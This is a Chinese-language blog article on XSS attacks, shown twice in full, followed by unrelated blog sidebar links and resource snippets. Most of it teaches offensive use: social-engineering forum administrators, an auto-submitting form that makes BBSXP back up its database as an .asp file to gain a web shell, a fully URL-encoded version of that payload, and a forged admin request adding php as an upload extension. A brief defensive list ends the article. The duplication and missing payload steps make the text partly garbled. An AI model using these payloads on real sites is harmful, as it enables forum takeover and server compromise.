一、什么是XSS攻击
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意 用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自 内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主 要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语 句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在 另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落 后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要 cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站 构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的 地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试秋秋群跨站漏洞的时候, 你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的 标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输 入</script><script>alert(‘test’)</script>,这样就可以弹出一个test 的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空 格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找 不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我 们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
<body onload=”javascript:document.forms[0].submit()”><form
action=”http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf” method=”post”><input value=”database/bbsxp.mdb” name=”yl” ><input value=”database/shit.asp” name=”bf” ></body></html>
上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
XSS防范方法
XSS攻击防范主要是有程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然一些编程安全原则可以帮助大大减少XSS安全漏洞:
不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST 而非GET 提交表单;对”<”,”>”,”;”,”’”等字符做过滤;任何内容输出到页面之前都必须加以encode,避免不小心把html tag 弄出来。
实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等可疑操作。
Cookie 防盗。避免直接在cookie 中泄露用户隐私,例如email、密码等等;通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。
确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意 用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自 内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主 要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语 句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在 另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落 后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要 cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站 构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的 地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试秋秋群跨站漏洞的时候, 你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的 标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输 入</script><script>alert(‘test’)</script>,这样就可以弹出一个test 的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空 格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找 不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我 们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
<body onload=”javascript:document.forms[0].submit()”><form
action=”http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf” method=”post”><input value=”database/bbsxp.mdb” name=”yl” ><input value=”database/shit.asp” name=”bf” ></body></html>
上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell.
四、XSS与其它技术的结何
从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用 iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
XSS防范方法
XSS攻击防范主要是有程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然一些编程安全原则可以帮助大大减少XSS安全漏洞:
不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST 而非GET 提交表单;对”<”,”>”,”;”,”’”等字符做过滤;任何内容输出到页面之前都必须加以encode,避免不小心把html tag 弄出来。
实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等可疑操作。
Cookie 防盗。避免直接在cookie 中泄露用户隐私,例如email、密码等等;通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。
确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
发表评论
-
菜鸟 Spring 源码解读 推荐流程
2012-01-11 09:18 5128Spring源代码解析(一):IOC容器:http://www ... -
深入剖析Classloader(一)--类的主动使用与被动使用
2011-12-27 22:13 1095我们知道java运行的是这样的,首先java编译器将我们的源代 ... -
Java中连接字符串时是使用+号还是使用StringBuilder?
2011-12-26 14:04 923字符串是Java程序中最常用的一种数据结构之一。在Java中的 ... -
转一篇有关Java的内存泄露的文章(受益哦)
2011-07-20 09:28 7741 引言 Java的一个 ... -
Tomcat内存溢出的原因
2011-07-19 09:41 730Tomcat内存溢出的原因 在生产环境中tomcat内 ... -
深入研究java.lang.ThreadLocal类
2011-07-13 09:39 685一、概述 ThreadLocal是什么呢?其实Thread ... -
jboss中实现跨war包session同步
2011-06-12 23:28 1290跨war包session同步解决方 ... -
开源框架spring详解-----AOP的深刻理解
2011-05-26 22:13 1251开源框架spring详解-----AOP的深刻理解 AOP的 ... -
struts2核心工作流程与工作原理
2011-05-26 15:35 12891. Struts2架构图 这是S truts2官方站点提供的 ... -
Spring注入方式及用到的注解 -----@Component,@Service,@Controller,@Repository
2011-05-26 15:04 1227注入方式: 把DAO实现 ... -
Java中的native关键字浅析(Java Native Interface)
2011-05-21 23:13 741JNI是Java Native Interface的 ... -
Volatile 变量
2011-04-26 17:01 656Java 语言中的 volatile 变量可以被看作是一种 “ ... -
Java对象的强、软、弱和虚引用
2011-04-26 16:04 6291.Java对象的强、软、 ... -
Web 应用程序常见漏洞 CSRF 的入侵检测与防范
2011-04-23 15:00 1121简介: 互联网的安全问题一直存在,并且在可预见的未来中没有消弭 ... -
CSRF攻击原理解析
2011-04-22 10:29 12830×00. 前言 在Web程序中 ... -
selenium 初步体检之富文本框操作
2011-04-20 20:10 1542public class LoginTest extends ... -
webx
2011-03-05 17:54 1019webx 学习笔记。 -
Java读带有BOM的UTF-8文件乱码解决方法
2011-03-02 11:12 2465Java default io reader does not ... -
java sftp tools
2011-02-24 13:30 1517import java.io.File; import jav ... -
HtmlUnit
2010-10-18 22:27 1659IntroductionThe dependencies pa ...
相关推荐
**XSS跨站脚本攻击详解** XSS(Cross Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本,从而获取敏感信息或者操控用户的行为。这种攻击主要发生在Web应用中,攻击...
### XSS跨站脚本攻击详解 #### 一、XSS跨站脚本攻击概述 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web应用安全威胁,其核心在于利用网站对用户输入数据的处理不当,允许攻击者注入恶意脚本到网页中,...
### XSS跨站脚本攻击详解 #### 一、XSS攻击概述 XSS攻击,全称为**跨站脚本攻击**(Cross Site Scripting),是一种常见的网络安全漏洞,它发生在Web应用程序未能正确过滤用户输入的数据时。攻击者可以借此机会将...
### XSS跨站脚本攻击详解 #### 一、XSS跨站脚本攻击概述 XSS(Cross-Site Scripting),即跨站脚本攻击,是一种常见的网络安全威胁,主要通过在受害者的浏览器环境中注入恶意脚本,从而实现对用户的攻击。这种攻击...
【XSS跨站脚本攻击】详解 XSS(Cross-Site Scripting)跨站脚本攻击是网络攻防领域中的常见威胁,攻击者利用这种技术向网页中注入恶意脚本,进而对用户的信息安全构成严重风险。由于浏览器通常无法区分合法与恶意...
### Xss跨站脚本攻击基础 #### 一、XSS攻击概述 XSS(Cross Site Scripting)攻击,即跨站脚本攻击,是一种常见的Web应用程序安全漏洞。这种攻击方式利用网页开发时的疏忽,允许攻击者将恶意脚本注入到网页中,当...
内容概要:本文详细阐述了跨站脚本(XSS)攻击的基本原理、攻击类型、可能引发的危害以及防范措施。首先介绍了XSS的概念及原理,包括恶意脚本是如何利用网页漏洞在用户浏览器中运行的。接着解释了三种主要的XSS攻击...
XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段,它允许攻击者将恶意脚本代码注入到用户浏览器中。这些代码在用户浏览网页时执行,可以盗取cookie、会话令牌、或者在用户不知情的...
XSS(Cross Site Scripting),又称CSS(Cross Site Script),即跨站脚本攻击。这种攻击方式是指恶意攻击者通过在Web页面中注入恶意HTML代码,当用户浏览含有恶意代码的页面时,这些恶意代码会在用户的浏览器中被...
- **定义**:XSS(Cross-Site Scripting)即跨站脚本攻击,是指攻击者利用网站漏洞,将恶意脚本代码注入到网页中,当其他用户浏览这些网页时,就会在用户的浏览器上执行恶意代码。XSS攻击通常发生在用户与Web应用...
**XSS跨站脚本攻击详解** XSS(Cross-site scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户浏览器上注入恶意脚本。这些脚本可以劫持用户会话、盗取Cookie、操纵页面内容,甚至进行更复杂的攻击。...
XSS(Cross Site Scripting)即跨站脚本攻击,是一种常见的Web安全漏洞。它通过将恶意脚本注入到看似可信的网站中,进而攻击最终用户。XSS攻击主要分为三种类型:存储型XSS、反射型XSS以及DOM-based XSS。 - **存储...
**XSS(跨站脚本攻击)基础知识** XSS(Cross-site scripting)是一种常见的网络攻击方式,它利用网站对用户输入的不安全处理,将恶意脚本注入到网页中,当其他用户访问这些被注入脚本的页面时,恶意脚本会被执行,...
### 跨站脚本(XSS)详解 #### 一、跨站脚本(XSS)概述 跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的网站安全漏洞,攻击者通过注入恶意脚本代码到信任的网页上,当用户浏览该网页时,嵌入其中的恶意脚本会...
随后,文章详细探讨了XSS跨站脚本攻击的不同类型(反射型、存储型、DOM型),并提供了多种绕过XSS过滤的方法,包括利用HTML实体、JavaScript伪协议等。最后,阐述了CSR攻击的原理及防范手段。 适合人群:对Web安全有...
XSS(跨站脚本攻击)是网络安全领域中一种常见的攻击手段,主要针对Web应用程序。攻击者通过在网页中注入恶意脚本,当用户访问含有这些脚本的页面时,脚本会在用户的浏览器中执行,进而对用户进行攻击。XSS攻击的...
XSS(Cross Site Scripting)即跨站脚本攻击,是一种常见的Web安全漏洞。攻击者通过在网页上注入恶意脚本代码,当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到攻击的目的。这种攻击手段利用了Web应用...
【XSS攻击详解】 XSS(Cross Site Scripting)攻击是指攻击者通过在网页中插入恶意脚本,使得用户在不知情的情况下执行这些脚本,从而达到窃取用户信息、操纵用户行为等目的。XSS攻击主要分为三种类型: 1. 反射型...
XSS(Cross Site Scripting),即跨站脚本攻击,是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到看似可信的网站上。当用户浏览这些被注入恶意脚本的网页时,恶意脚本会在用户的浏览器环境中执行,从而导致...